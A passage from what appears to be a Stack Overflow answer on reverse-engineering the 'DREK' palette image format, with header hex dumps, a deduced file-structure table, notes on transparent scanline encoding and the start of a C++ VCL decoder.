workings. You should check more Images to see if there are some artifacts or not. The small images are unusable as you do not know the content and also the size is small for any significant details to reveal ...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Transparent images&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well &lt;strong&gt;Iter Ator&lt;/strong&gt; spotted that some files are not decoded properly and deduced that it has something to do with transparency (as the images was icons and later also sprites). So some more in depth analysis was take in place to make some progress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some thinking and looping in circles I create special debug views so I can see encoded image data , reference screenshot and the corresponding palette colors in some convenient way to spot patterns or dependency. The result was something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sj9MW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sj9MW.png&quot; alt=&quot;manual color cross-reference&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply render each pixel/BYTE of data as square with color corresponding to the palette entry and render the hex code inside. I render encoded &lt;strong&gt;ScanLine&lt;/strong&gt; and screenshot &lt;strong&gt;ScanLine&lt;/strong&gt; below (with cross matched color code from image palette printed inside. Then I painfully cross-reference both &lt;strong&gt;ScanLines&lt;/strong&gt; in Paint and after comparing all the icons I got start deducing encoding format. The gaps means some kind of flag or prefix, sequence or special command. After implementing these rules into decoder then suddenly the images got looking much better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got in a state where all the icons I got was pixel perfect but after more images came in (sprites) it was obvious that some codes may be variable and more in depth analysis of the chunks in file is needed to search for some code table or dictionary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help with the analysis I rewrite the decoder debug view to separate class with capability to recognize perfect color match (square) and close color match (circle) to better asses the codes on non transparent pixels first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/trIRs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/trIRs.png&quot; alt=&quot;better debug view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with rules like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From it I deduced this (not fully OK see the code for actual state):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first 2 Bytes are flags&#xA;03 unknonw flag/command skip flag can follow!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;also end sequence 23 (flag and pixel follows as 01)&#xA;02 end of scanline&#xA;01 flag and pixel follows, end of sequence (if not in first 5 pixels)&#xA;start of sequence:  13,17,23,27,2B&#xA;pixel follows:      0D,0F,12,15,16,18,1A,1C,1D,1E&#xA;flag or pixel follows:  06,07,0C,0E?,10&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;sequence can not start as first pixel otherwise it is pixel&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;sequence can stop after 5 pixels already done else 01/03 is just pixel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I improved it much more later directly in the decoder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;ScanLine offsets&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I find out if the first BYTE of &lt;strong&gt;ScanLine&lt;/strong&gt; was used as offset for transparent images some of the images looks much better. &lt;strong&gt;Ite Ator&lt;/strong&gt; found out that it is the offset and LSB bit is switch of this capability. I found out that  if the first BYTE of first &lt;strong&gt;ScanLine&lt;/strong&gt; is &lt;code&gt;0xFC&lt;/code&gt; then it is not transparent image and the decoding is described in first bullets. I introduced &lt;code&gt;mode 0/1&lt;/code&gt; variable to recognize this in the decoder. And The offset is active only in mode 1 (transparency). Also I found out that the &lt;code&gt;offset=(flag&amp;gt;&amp;gt;1)+1&lt;/code&gt; as it makes more sense from encoding efficiency side (test confirms it was correct assumption).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;File chunks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In search for missing code table or dictionary I started to dissect the file-format (each BYTE that is not used yet). After some coding and analysis I added another debug output to decoder that creates text for each file/frame in aligned form so I can easily compare between all the images I got as comparing in two ro more hex-views is not very convenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the header data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file                          K  E  R  D              file_size        frames image_ofs                                                                                                                                                                                                   palette_ofs used_colors&#xA;dragon              00000000: 4B 45 52 44 C8 00 00 00 A1 BF 01 00 01 00 0B 00 60 03 00 00 01 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 2E 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 01 00 00 18 CD CD CD &#xA;mountain            00000000: 4B 45 52 44 C8 00 00 00 58 8C 01 00 01 00 02 00 60 03 00 00 01 00 00 00 54 00 00 00 00 00 00 00 56 8A 01 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 01 00 00 18 CD CD CD &#xA;icon0               00000000: 4B 45 52 44 C8 00 00 00 4F 05 00 00 01 00 01 00 60 03 00 00 01 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 5A 00 00 00 18 CD CD CD &#xA;icon1               00000000: 4B 45 52 44 C8 00 00 00 4F 05 00 00 01 00 01 00 60 03 00 00 01 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 59 00 00 00 18 CD CD CD &#xA;icon2               00000000: 4B 45 52 44 C8 00 00 00 4D 05 00 00 01 00 01 00 60 03 00 00 01 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 50 00 00 00 18 CD CD CD &#xA;icon3               00000000: 4B 45 52 44 C8 00 00 00 46 0B 00 00 01 00 01 00 60 03 00 00 01 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 01 00 00 18 CD CD CD &#xA;back                00000000: 4B 45 52 44 C8 00 00 00 78 9D 07 00 01 00 01 00 60 03 00 00 01 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 01 00 00 18 CD CD CD &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here the ImageData:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file                                                                    frame sz          xs          ys                                                                                                                                                                                                                      xs    ys                &#xA;dragon              00000360: 00 00 00 00 00 00 00 00 00 00 00 00 08 CD 01 00 04 25 00 00 B2 00 00 00 5B 00 00 00 E5 FF FF FF B3 FF FF FF 00 00 00 00 C0 03 00 00 C4 28 00 00 00 00 00 00 00 CD CD CD 00 00 00 00 04 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD B2 00 5B 00 00 00 00 00 &#xA;                    000028C4: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 02 00 A1 26 00 00 B6 00 00 00 5B 00 00 00 DD FF FF FF B4 FF FF FF 00 00 00 00 24 29 00 00 C5 4F 00 00 60 03 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B6 00 5B 00 00 00 00 00 &#xA;                    00004FC5: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 03 00 57 27 00 00 C4 00 00 00 5E 00 00 00 D6 FF FF FF B1 FF FF FF 00 00 00 00 25 50 00 00 7C 77 00 00 C4 28 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C4 00 5E 00 00 00 00 00 &#xA;                    0000777C: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 04 00 26 28 00 00 BF 00 00 00 64 00 00 00 D3 FF FF FF AA FF FF FF 00 00 00 00 DC 77 00 00 02 A0 00 00 C5 4F 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BF 00 64 00 00 00 00 00 &#xA;                    0000A002: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 05 00 70 29 00 00 C3 00 00 00 67 00 00 00 D0 FF FF FF A6 FF FF FF 00 00 00 00 62 A0 00 00 D2 C9 00 00 7C 77 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C3 00 67 00 00 00 00 00 &#xA;                    0000C9D2: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 06 00 DA 29 00 00 C6 00 00 00 6C 00 00 00 CF FF FF FF A2 FF FF FF 00 00 00 00 32 CA 00 00 0C F4 00 00 02 A0 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C6 00 6C 00 00 00 00 00 &#xA;                    0000F40C: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 07 00 33 2A 00 00 C5 00 00 00 6F 00 00 00 D1 FF FF FF 9F FF FF FF 00 00 00 00 6C F4 00 00 9F 1E 01 00 D2 C9 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C5 00 6F 00 00 00 00 00 &#xA;                    00011E9F: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 08 00 1A 2B 00 00 C0 00 00 00 6C 00 00 00 D4 FF FF FF A2 FF FF FF 00 00 00 00 FF 1E 01 00 19 4A 01 00 0C F4 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 00 6C 00 00 00 00 00 &#xA;                    00014A19: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 09 00 59 29 00 00 BE 00 00 00 68 00 00 00 DA FF FF FF A7 FF FF FF 00 00 00 00 79 4A 01 00 D2 73 01 00 9F 1E 01 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BE 00 68 00 00 00 00 00 &#xA;                    000173D2: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 0A 00 E5 26 00 00 B5 00 00 00 62 00 00 00 E1 FF FF FF AB FF FF FF 00 00 00 00 32 74 01 00 17 9B 01 00 19 4A 01 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B5 00 62 00 00 00 00 00 &#xA;                    00019B17: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 0B 00 CA 23 00 00 AB 00 00 00 5A 00 00 00 EA FF FF FF B3 FF FF FF 00 00 00 00 77 9B 01 00 41 BF 01 00 D2 73 01 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 00 5A 00 00 00 00 00 &#xA;mountain            00000360: 00 00 00 00 00 00 00 00 00 00 00 00 08 CD 01 00 A7 BA 00 00 37 01 00 00 D3 00 00 00 00 00 00 00 C9 FF FF FF 00 00 00 00 C0 03 00 00 67 BE 00 00 00 00 00 00 00 CD CD CD 00 00 00 00 04 CD CD CD 00 00 00 00 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 37 01 D3 00 00 00 00 00 &#xA;                    0000BE67: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 02 00 2B C7 00 00 3C 01 00 00 DD 00 00 00 FC FF FF FF C4 FF FF FF 00 00 00 00 C7 BE 00 00 F2 85 01 00 60 03 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C 01 DD 00 00 00 00 00 &#xA;icon0               00000360: 00 00 00 00 00 00 00 00 00 00 00 00 08 CD 01 00 2F 01 00 00 0D 00 00 00 0D 00 00 00 11 00 00 00 F9 FF FF FF 00 00 00 00 C0 03 00 00 EF 04 00 00 00 00 00 00 00 CD CD CD 00 00 00 00 04 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 0D 00 0D 00 00 00 00 00 &#xA;icon1               00000360: 00 00 00 00 00 00 00 00 00 00 00 00 08 CD 01 00 2F 01 00 00 0D 00 00 00 0D 00 00 00 11 00 00 00 F9 FF FF FF 00 00 00 00 C0 03 00 00 EF 04 00 00 00 00 00 00 00 CD CD CD 00 00 00 00 04 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 0D 00 0D 00 00 00 00 00 &#xA;icon2               00000360: 00 00 00 00 00 00 00 00 00 00 00 00 08 CD 01 00 2D 01 00 00 0D 00 00 00 0D 00 00 00 11 00 00 00 F9 FF FF FF 00 00 00 00 C0 03 00 00 ED 04 00 00 00 00 00 00 00 CD CD CD 00 00 00 00 04 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 0D 00 0D 00 00 00 00 00 &#xA;icon3               00000360: 00 00 00 00 00 00 00 00 00 00 00 00 08 CD 01 00 26 07 00 00 26 00 00 00 26 00 00 00 05 00 00 00 ED FF FF FF 00 00 00 00 C0 03 00 00 E6 0A 00 00 00 00 00 00 00 CD CD CD 00 00 00 00 04 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 26 00 26 00 00 00 00 00 &#xA;back                00000360: 00 00 00 00 00 00 00 00 00 00 00 00 08 CD 01 00 58 99 07 00 20 03 00 00 58 02 00 00 08 00 00 00 B4 FD FF FF 00 00 00 00 C0 03 00 00 18 9D 07 00 00 00 00 00 00 CD CD CD 00 00 00 00 04 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD 20 03 58 02 00 00 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;revealing the structure better. I found out some things from this like frame index and the ImageData align is to &lt;code&gt;0x0360&lt;/code&gt; instead of &lt;code&gt;0x0370&lt;/code&gt; I assumed before this. Also &lt;code&gt;0xCD&lt;/code&gt; pattern is present only for first frames and not at all positions. The file-format is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset              DataType                Meaning&#xA;--------------------------------------------------------&#xA;Header (0x0000):&#xA;0x0000              char[4]                 `DREK` Signature&#xA;0x0008              DWORD                   whole file size&#xA;0x000E              WORD                    number of frames&#xA;0x0010              DWORD                   ImageData offset from start of file 0x0360&#xA;0x0054              DWORD                   Palette offset from start of file 0x0060&#xA;0x0058              DWORD                   used_colors from Palette (rest are set to (CD,CD,CD))&#xA;--------------------------------------------------------&#xA;Palette: (0x060)&#xA;+0x0000             BYTE[768]               RGB palette&#xA;--------------------------------------------------------&#xA;ImageData (0x0360)&#xA;+0x000E             WORD                    frame 1,2,3,4,...&#xA;+0x0010             DWORD                   sz (ImageData size - 0x60)&#xA;+0x0014             DWORD                   xs&#xA;+0x0018             DWORD                   ys&#xA;+0x0060             WORD                    xs&#xA;+0x0064             WORD                    ys&#xA;+0x0068             DWORD[ys]               ScanLine offsets relative to end of this table (0x0068 + ys*4)&#xA;+0x0068+(ys*4)      BYTE[sz-68-(ys*4)]      ScanLineData&#xA;+0x0060+sz                                  Next frame ImageData if frame&amp;lt;frames&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now finally The decoder&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code was written in Borlands &lt;strong&gt;BDS2006 C++&lt;/strong&gt; using &lt;strong&gt;VCL&lt;/strong&gt; &lt;code&gt;TBitmap&lt;/code&gt; and &lt;code&gt;AnsiString&lt;/code&gt; So you need to rewrite it to your kind of gfx access and strings your programming environment supports. If you need help with the meaning of the gfx code see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/21699076/2521214&quot;&gt;gfx rendering in C++&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also File access functions may have a bit different name. I commented the code a bit but it should be obvious anyway. At least for those that already did things like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The defines just switch between debug and normal decoding. If not present then you do not need the debug image class &lt;code&gt;img&lt;/code&gt; at all. To keep this simple and also in 30KB limit I removed the code for the debug draw class (those who want/need it look in the edit history). That means ignoring all the &lt;code&gt;_debug_draw&lt;/code&gt; defines ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the icons defined pixels are decoded correctly. But I did a lot of assumptions and may not work on all images. I would need more examples with ScreenShots to make it more robust. The codes itself should encode alpha channel and may be also position/offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed few codes and now I am temporarily ignoring the &lt;code&gt;0x02&lt;/code&gt; end of &lt;code&gt;ScanLine&lt;/code&gt; which make mess when not properly decoded codes are present. Also I added few special cases I found out. The x-offset for mode1 is also present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code find line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// image data (decoded)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is where main decoding is. The decoding variables are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;_pixel&lt;/code&gt; - next &lt;code&gt;BYTE&lt;/code&gt; is pixel&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;_sequence&lt;/code&gt; - sequence of pixels follows (ending by &lt;code&gt;0x01&lt;/code&gt; or &lt;code&gt;0x03&lt;/code&gt; if more then 5 pixels rendered)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;_stop&lt;/code&gt; - end of scanline marked by &lt;code&gt;0x02&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;seq&lt;/code&gt; - just counter of how many pixels in sequence has been processed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In comments some of the codes are marked &lt;code&gt;// OK&lt;/code&gt; those are not conflicting and straightforward. The rest of comments means what codes are following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pXX&lt;/code&gt; means pixel &lt;code&gt;0xXX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cXX&lt;/code&gt; means code  &lt;code&gt;0xXX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;?XX&lt;/code&gt; means not sure if pixel or code&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;?pXX&lt;/code&gt; means most likely pixel &lt;code&gt;0xXX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Transparent ScanLine data starts after first BYTE so do not skip 2 BYTEs just one !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some previews:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HR8Q6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HR8Q6.png&quot; alt=&quot;new previews&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the Dragon frames:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xskyl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xskyl.png&quot; alt=&quot;dragon frames&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The C++ source for the decoder:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ifdef _debug_save&#xA;AnsiString dbg_hdr=&quot;file                          K  E  R  D              file_size        frames image_ofs                                                                                                                                                                                                   palette_ofs used_colors\r\n&quot;;&#xA;AnsiString dbg_img=&quot;                                                                        frame sz          xs          ys                                                                                                                                                                                                                      xs    ys                \r\n&quot;;&#xA;#endif&#xA;void load_drk(Graphics::TBitmap *bmp,AnsiString name)&#xA;    {&#xA;    AnsiString s,fnam;&#xA;    fnam=name.SubString(1,name.Length()-4);&#xA;&#xA;    // variables&#xA;    BYTE *dat;&#xA;    int hnd,adr,adr0,siz;&#xA;    int i,x,y,xs,ys,sz,mode,frame,frames;&#xA;    DWORD *p,*dir,pal[256],r,g,b,a;&#xA;    // allow direct pixel access&#xA;    bmp-&amp;gt;HandleType=bmDIB;&#xA;    bmp-&amp;gt;PixelFormat=pf32bit;&#xA;    // read file into memory&#xA;    hnd=FileOpen(name,fmOpenRead);&#xA;    if (hnd&amp;lt;0) return;&#xA;    siz=FileSeek(hnd,0,2);&#xA;        FileSeek(hnd,0,0);&#xA;    dat=new BYTE[siz];&#xA;    if (dat==NULL) { FileClose(hnd); return; }&#xA;    FileRead(hnd,dat,siz);&#xA;    FileClose(hnd);&#xA;    // decode&#xA;    for (;;)&#xA;        {&#xA;        #ifdef _debug_save&#xA;        // save frames to bmp&#xA;        s=fnam+&quot;                    &quot;;&#xA;        s=s.SubString(1,20);&#xA;        dbg_hdr+=s;&#xA;        dbg_img+=s;&#xA;        dbg_hdr+=&quot;00000000: &quot;; for (i=0;i&amp;lt;0x60;i++) { s=s.sprintf(&quot;%X &quot;,dat[i]); while (s.Length()&amp;lt;3) s=&quot;0&quot;+s; dbg_hdr+=s; }&#xA;        dbg_hdr+=&quot;\r\n&quot;;&#xA;        #endif&#xA;&#xA;        // signature&#xA;        if (siz&amp;lt;0x3C8) break;&#xA;        if (((DWORD*)(dat))[ 0]!='DREK') break;&#xA;        if (((DWORD*)(dat))[ 2]!=   siz) break;&#xA;        // palette&#xA;        for (adr=0x060,i=0;i&amp;lt;256;i++)&#xA;            {&#xA;            b=dat[adr]; adr++;&#xA;            g=dat[adr]; adr++;&#xA;            r=dat[adr]; adr++;&#xA;            pal[i]=(r&amp;lt;&amp;lt;16)|(g&amp;lt;&amp;lt;8)|(b);&#xA;            }&#xA;        // frames&#xA;        frames=((WORD*)(dat+0x0E))[0];&#xA;        adr0  =((DWORD*)(dat))[4];&#xA;        for (frame=0;frame&amp;lt;frames;adr0+=sz+0x60,frame++)&#xA;            {&#xA;            adr=adr0;&#xA;            // resolution&#xA;            if (adr0+0x60&amp;gt;siz) break;&#xA;            sz=((DWORD*)(dat+adr))[4];&#xA;            xs=((DWORD*)(dat+adr))[5];&#xA;            ys=((DWORD*)(dat+adr))[6];&#xA;            if (adr0+0x60+sz&amp;gt;siz) break;&#xA;            bmp-&amp;gt;SetSize(xs,ys);&#xA;&#xA;            #ifdef _debug_save&#xA;            // save frames to bmp&#xA;            if (frame) dbg_img+=&quot;                    &quot;;&#xA;            s=s.sprintf(&quot;%X: &quot;,adr0); while (s.Length()&amp;lt;10) s=&quot;0&quot;+s; dbg_img+=s;&#xA;            for (i=adr0;i&amp;lt;adr0+0x68;i++) { s=s.sprintf(&quot;%X &quot;,dat[i]); while (s.Length()&amp;lt;3) s=&quot;0&quot;+s; dbg_img+=s; }&#xA;            dbg_img+=&quot;\r\n&quot;;&#xA;            #endif&#xA;&#xA;            // scanline table&#xA;            dir=new DWORD[ys+1];&#xA;            if (dir==NULL) break;&#xA;            adr+=0x68;&#xA;            for (y=0;y&amp;lt;ys;y++)&#xA;             dir[y]=adr+(ys&amp;lt;&amp;lt;2)+((DWORD*)(dat+adr))[y];&#xA;            dir[ys]=adr0+sz+0x68;&#xA;&#xA;            #ifdef _debug_draw&#xA;            // set size and palette of debug image&#xA;            img.resize(xs,ys);&#xA;            for (i=0;i&amp;lt;256;i++) img.rgb_pal[i]=pal[i];&#xA;            // copy reference data to debug image&#xA;            for (y=0;y&amp;lt;ys;y++) img.p[y].ref=&quot;&quot;;&#xA;            if ((png-&amp;gt;Height)&amp;amp;&amp;amp;(png-&amp;gt;Width))&#xA;                {&#xA;                Graphics::TBitmap *qqq=new Graphics::TBitmap;&#xA;                qqq-&amp;gt;Assign(png);&#xA;                qqq-&amp;gt;HandleType=bmDIB;&#xA;                qqq-&amp;gt;PixelFormat=pf32bit;&#xA;                for (y=0;(y&amp;lt;qqq-&amp;gt;Height)&amp;amp;&amp;amp;(y&amp;lt;ys);y++)&#xA;                    {&#xA;                    img.p[y].ref=&quot;&quot;;&#xA;                    img.p[y].cmp=&quot;&quot;;&#xA;                    p=(DWORD*)qqq-&amp;gt;ScanLine[y];&#xA;                    for (x=0;(x&amp;lt;qqq-&amp;gt;Width)&amp;amp;&amp;amp;(x&amp;lt;xs);x++)&#xA;                        {&#xA;                        for (a=0,b=256,g=768;a&amp;lt;256;a++)&#xA;                            {&#xA;                            r=rgb_absdistance(p[x],pal[a]);&#xA;                            if (g&amp;gt;r) { g=r; b=a; }&#xA;                            } a=b;&#xA;                        if (g) g='1'; else g='0';&#xA;                        img.p[y].ref+=char(BYTE(a));&#xA;                        img.p[y].cmp+=char(BYTE(g));&#xA;                        }&#xA;                    }&#xA;                delete qqq;&#xA;                }&#xA;            // copy encoded data to debug image&#xA;            for (y=0;y&amp;lt;ys;y++)&#xA;                {&#xA;                adr=dir[y];&#xA;                img.p[y].adr=adr;&#xA;                img.p[y].enc=&quot;&quot;;&#xA;                img.p[y].dec=&quot;&quot;;&#xA;                img.p[y].spc=&quot;&quot;;&#xA;                for (;adr&amp;lt;dir[y+1];adr++)&#xA;                 img.p[y].enc+=char(BYTE(dat[adr]));&#xA;                }&#xA;            #endif&#xA;&#xA;            // image data (decoded)&#xA;            a=dat[dir[0]];&#xA;            mode=0; if (a!=0xFC) mode=1;&#xA;            for (y=0;y&amp;lt;ys;y++)&#xA;                {&#xA;                adr=dir[y];                     // get actual ScanLine offset in file&#xA;                p=(DWORD*)bmp-&amp;gt;ScanLine[y];     // get actual ScanLine pointer in bmp&#xA;                int _sequence=0;&#xA;                int _pixel=0;&#xA;                int _stop=0;&#xA;                int seq=0;&#xA;                for (x=0;x&amp;lt;xs;x++) p[x]=0; x=0;&#xA;&#xA;                if (mode==1)&#xA;                    {&#xA;                    // 1st ScanLine BYTE (x-offset)&#xA;                    a=dat[adr]; adr++;&#xA;                    if (BYTE(a&amp;amp;1)==1)&#xA;                        {&#xA;                        x=(a&amp;gt;&amp;gt;1)+1;&#xA;                        #ifdef _debug_draw&#xA;                        for (i=0;i&amp;lt;x;i++) img.p[y].spc+='\0';&#xA;                        #endif&#xA;                        }&#xA;                    // 2nd ScanLine BYTE special cases&#xA;                    a=dat[adr];&#xA;                    if (a==0x0D) adr++; &#xA;                    }&#xA;                for (a=0;adr&amp;lt;dir[y+1];)&#xA;                    {&#xA;                    if (mode==0)&#xA;                        {&#xA;                        a=dat[adr]; adr++;              // color index&#xA;                        if (int(x&amp;amp;31)==0)&#xA;                            {&#xA;                            r=a;                        // flag&#xA;                            a=dat[adr]; adr++;          // color index&#xA;                            }&#xA;                        }&#xA;                    if (mode==1) for (;;)&#xA;                        {&#xA;                        a=dat[adr]; adr++;              // color index&#xA;                        if (_pixel) { _pixel=false; break; }&#xA;                        if (_sequence) { seq++; if (seq&amp;lt;6) break; }&#xA;                        // commands&#xA;                        if 